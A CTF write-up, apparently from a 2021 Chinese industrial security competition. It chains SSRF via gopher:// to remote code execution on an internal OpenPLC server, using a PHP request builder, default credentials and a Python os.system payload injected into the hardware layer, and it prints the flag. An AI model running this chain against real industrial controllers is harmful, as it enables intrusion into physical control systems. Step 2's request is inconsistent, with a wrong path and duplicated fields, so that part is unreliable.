三句话让 PLC 为你吐 FLAG

发表于 2021-09-01 分类于 Challenge ， 2021 ， 工业信息安全技能大赛 ， 巡回赛-杭州站
Challenge | 2021 | 工业信息安全技能大赛 | 巡回赛-杭州站 | 三句话让 PLC 为你吐 FLAG

点击此处获得更好的阅读体验

WriteUp来源

来自Venom战队

题目描述

> *三↘句话/让PLC/为我花了十八个FLAG，我是一个很善于让靶机为我吐↘FLAG的精通渗透的安全研究员，前两天嘞/我渗透一个工控的PLC，当我访问下来的时候/我直接问了一句，哇塞我今天好nb，给你个机会/夸夸我。他哈↗哈↗大笑，一时半↘会儿嘞都没有回过神来，这种啦/就是典型的有漏洞，然后我坐下来继续问/我们玩个混（问）答游戏吧，他说/你问我答，我说/你知道↘/在我眼里你什么时候最帅吗？他说我不知道，所以/PLC很无趣。普通安全研究员呢这时候会说你为我吐 FLAG 的时候最帅，但是我说什么呢，你为我给后门、提权限、横向移动、做权限维持的时候最帅，他又↘是一份意想不到的狂喜，接下来的全程呢我什么也不用干，他还屁颠儿屁颠地为我吐 FLAG，吃到最后/我说来/你给我来一只FLAG奖↘励我/这么有眼光跟天下第一nb的PLC 渗透/好开心呀。最后呢/他非常开心的把root给我了，这↘次渗透↘/我们在安全设备上触发了十五万八千次告警，回到家的时候我打开手机一看/这个PLC给我转↘了一个一万八千八的权限大礼包，说了一句/和你在一起真开心，一个安全研究员渗透有姿势很重要，会/渗↗透PLC更重要。先敬于礼乐野人也，后敬于礼乐/君子也。*

题目考点

- *SSRF*
- *OpenPLC RCE*

解题思路

读hosts

```
127.0.0.1  localhost
::1  localhost ip6-localhost ip6-loopback
fe00::0  ip6-localnet
ff00::0  ip6-mcastprefix
ff02::1  ip6-allnodes
ff02::2  ip6-allrouters
172.16.237.2  956510a842ce // 这个是最外面的服务自己
172.16.238.2  956510a842ce
```

这个目标用的是 apache2 + php7.3 的方式，打不了 fastcgi ，那可能

SSRF扫端口，扫到http://172.16.238.99:8080 访问发现是OpenPLC，gopher打OpenPLC RCE

在OpenPLC的hardware里可以注入自写脚本，直接选择Linux PSM写python代码就可以了

gopher生成脚本

```
<?php
$u = 'http://192.168.87.114/?url=';
// 172.16.238.99:8080/login
$data = 'username=openplc&password=openplc';

$addr = "172.16.238.99:8080";
$headers = [];
$headers[] = "POST /login HTTP/1.1";
$headers[] = "Host: $addr";
$headers[] = "Content-Type: application/x-www-form-urlencoded";
$headers[] = "Content-Length: " . strlen($data);

$data = urlencode($data);
$header = urlencode(implode("\r\n",$headers)."\r\n\r\n");
$header = str_replace("+","%20",$header);

$ssrf = "gopher://$addr/_" . $header . $data;

$ssrf = $u .urlencode($ssrf);
$r = file_get_contents($ssrf);
preg_match_all("/Set-Cookie: session=(.+?); Expire/",$r,$m);

$cookie = "session=".$m[1][0];

$addr = "172.16.238.99:8080";
$headers = [];
$headers[] = "GET /users HTTP/1.1";
$headers[] = "Host: $addr";
$headers[] = "Cookie: $cookie";
$data = '';
$header = urlencode(implode("\r\n",$headers)."\r\n\r\n");
$header = str_replace("+","%20",$header);

$ssrf = "gopher://$addr/_" . $header;

echo $ssrf . "\r\n";
$ssrf = $u .urlencode($ssrf);
echo $ssrf . "\r\n\r\n";
$r = file_get_contents($ssrf);
```

整个攻击流程如下

1. *使用弱口令openplc登陆*

```
POST /login HTTP/1.1
HOST: 172.16.238.99:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 33

username=openplc&password=openplc
```

2. *上传自写脚本*

```
POST /login HTTP/1.1
HOST: 172.16.238.99:8080
Content-Type: application/x-www-form-urlencoded
Cookie: session=.eJwlj8tqwzAQRX-laN1F_MjG0IVBScEwEwRyxWgTWketrFqOcRJsT8i_1y10dTaXwz13cfwc3cWL4jre3LM4tidR3MXThygEcjNZWS8UYcaAwRolUazng1QJMrY27jYUqpa4zoh3TLz_xnDyyGUOstmA3n
Content-Length: 77

hardware_layer=psm_linux&custom_layer_code=hardware_layer=psm_linux&custom_layer_code=__import__(os).system('ls+-alh+/')
```

3. *编译 (GET /compile-program?file=blank_program.st)*

```
GET /compile-program?file=blank_program.st HTTP/1.1
HOST: 172.16.238.99:8080
Cookie: session=.eJwlj8tqwzAQRX-laN1F_MjG0IVBScEwEwRyxWgTWketrFqOcRJsT8i_1y10dTaXwz13cfwc3cWL4jre3LM4tidR3MXThygEcjNZWS8UYcaAwRolUazng1QJMrY27jYUqpa4zoh3TLz_xnDyyGUOstmA3n
```

4. *启动PLC*

```
GET /start_plc HTTP/1.1
HOST: 172.16.238.99:8080
Cookie: session=.eJwlj8tqwzAQRX-laN1F_MjG0IVBScEwEwRyxWgTWketrFqOcRJsT8i_1y10dTaXwz13cfwc3cWL4jre3LM4tidR3MXThygEcjNZWS8UYcaAwRolUazng1QJMrY27jYUqpa4zoh3TLz_xnDyyGUOstmA3n
```

5. *读取日志，日志中即包含结果*

```
GET /runtime_logs HTTP/1.1
HOST: 172.16.238.99:8080
Cookie: session=.eJwlj8tqwzAQRX-laN1F_MjG0IVBScEwEwRyxWgTWketrFqOcRJsT8i_1y10dTaXwz13cfwc3cWL4jre3LM4tidR3MXThygEcjNZWS8UYcaAwRolUazng1QJMrY27jYUqpa4zoh3TLz_xnDyyGUOstmA3n
```

Flag

```
flag{c099ce9328c64d718bb4c48e186991dc}
```


 # Challenge # 2021 # 工业信息安全技能大赛 # 巡回赛-杭州站
S7
PCZ